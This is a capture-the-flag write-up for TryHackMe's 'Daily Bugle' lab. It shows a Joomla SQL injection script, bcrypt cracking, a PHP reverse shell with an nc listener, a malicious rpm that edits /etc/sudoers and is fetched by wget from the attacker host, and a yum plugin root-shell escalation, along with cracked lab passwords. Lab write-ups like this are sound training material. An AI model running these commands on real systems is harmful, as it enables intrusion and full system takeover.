# Daily Bugle

**Room Link:** [https://tryhackme.com/room/dailybugle](https://tryhackme.com/room/dailybugle)



### **Deploy**

**Access the web server, who robbed the bank?**

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FSg4zzrQLUtwacyE2F86H%2Fimage.png?alt=media&#x26;token=9bd77b45-ac1d-4a68-a976-f6c1a25e99da" alt=""><figcaption></figcaption></figure>

### Initial Shell

```
nmap -A 10.10.116.159
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYPHKoYPyEnJkLvhIIEcy%2Fimage.png?alt=media&#x26;token=931d5e73-6148-4d2c-a2b3-21440f474fd7" alt=""><figcaption></figcaption></figure>



**Python Script**

```
git clone https://github.com/stefanlucas/Exploit-Joomla.git 
cd Exploit-Joomla/ 
python3 joomblah.py http://10.10.116.159
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FOubIYN3CfoTRL63yzPoq%2Fimage.png?alt=media&#x26;token=35108a40-aacf-4340-bc23-1ff5269b61a3" alt=""><figcaption></figcaption></figure>

```
 [$] Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']
  -  Extracting sessions from fb9j5_session

```

### Cracking the hash

```
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FRk8oGiZjHuaCbb4BMdfO%2Fimage.png?alt=media&#x26;token=2a893f42-d032-4064-a425-24159f20706c" alt=""><figcaption></figcaption></figure>

We can  now login to Joomla with the credentials we have found

```
Username: jonah
Password: spiderman123
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FaFWPYSFJZLga2yyuG9e2%2Fimage.png?alt=media&#x26;token=36650ee0-d490-4953-8b66-64e4204e25fc" alt=""><figcaption></figcaption></figure>

### Reverse Shell

All I did was follow this tutorial to get a reverse shell.&#x20;

**Tutorial:** [https://www.hackingarticles.in/joomla-reverse-shell/](https://www.hackingarticles.in/joomla-reverse-shell/)

**Kali**

```
nc -lvp 1234
```

**Browser**

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FIVAijkDyVNtmz3xxBIRX%2Fimage.png?alt=media&#x26;token=70726f6a-60b1-4911-9682-3841ee09cf72" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FaFzhtRlWoDOPpcvpRJog%2Fimage.png?alt=media&#x26;token=a5a7027f-9862-4ed5-8e11-886bfe4794db" alt=""><figcaption></figcaption></figure>

Used this PHP reverse shell, just needed to change the IP to my own.

**PHP Reverse Shell:** [https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php)

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FK2omnnN5D7R4Biqka74W%2Fimage.png?alt=media&#x26;token=dca029a7-65d6-474e-9f5d-d25905e2b368" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FEmgGUBHeEDYA787u7Tkj%2Fimage.png?alt=media&#x26;token=f2fd89e0-ab3d-43d0-9040-626fec8e0a8d" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

### Privilege Escalation&#x20;

#### **Option #1 - Create malicious rpm file**

Found a password in the configuration file. The password worked for the user jjameson which was found in the home directory.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fd0q9gfmw359f9b0qTcdD%2Fimage.png?alt=media&#x26;token=5c4b2e4b-6b15-49bc-b78c-6216236a34ec" alt=""><figcaption></figcaption></figure>

```
ssh jjameson@10.10.116.159
Password: nv5uz9r3ZEDzVjNu
```



jjamerson is able to run yum with no password as sudo

```
sudo -l
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FkcdnOYuSqivspFGfQZJN%2Fimage.png?alt=media&#x26;token=8f7890b8-d148-4482-b9ff-73d322842822" alt=""><figcaption></figcaption></figure>

**Kali**&#x20;

```
echo 'echo "jjameson ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > hack.sh 
git clone https://github.com/jordansissel/fpm.git 
cd fpm/bin/ 
./fpm -n root -s dir -t rpm -a all --before-install /root/hack.sh . 
python2 -m SimpleHTTPServer 81
```

Our fpm file is now created&#x20;

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F3HSsuly25B2IhH6Wiqqp%2Fimage.png?alt=media&#x26;token=8d64779c-83c7-4cca-a59b-50fb5e75224b" alt=""><figcaption></figcaption></figure>

**Victim**&#x20;

```
cd /tmp/ 
wget http://10.10.160.125:81/root-1.0-1.noarch.rpm 
sudo yum localinstall root-1.0-1.noarch.rpm 
sudo -i
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fwvk2H3hocWatLgFmPJuy%2Fimage.png?alt=media&#x26;token=992737aa-5027-46c2-8ca2-401d621bbec7" alt=""><figcaption></figcaption></figure>

#### **Option #2 -** Spawn interactive root shell by loading a custom plugin

**Exploit Link:** [https://gtfobins.github.io/gtfobins/yum/](https://gtfobins.github.io/gtfobins/yum/)

Just had to copy paste from gtfobins and it worked right away

```
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
EOF

sudo yum -c $TF/x --enableplugin=y
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F2CrXXGhTEhYDx5MRc64T%2Fimage.png?alt=media&#x26;token=24e0aa7b-b860-41ef-ad79-13b8ea8d80a4" alt=""><figcaption></figcaption></figure>

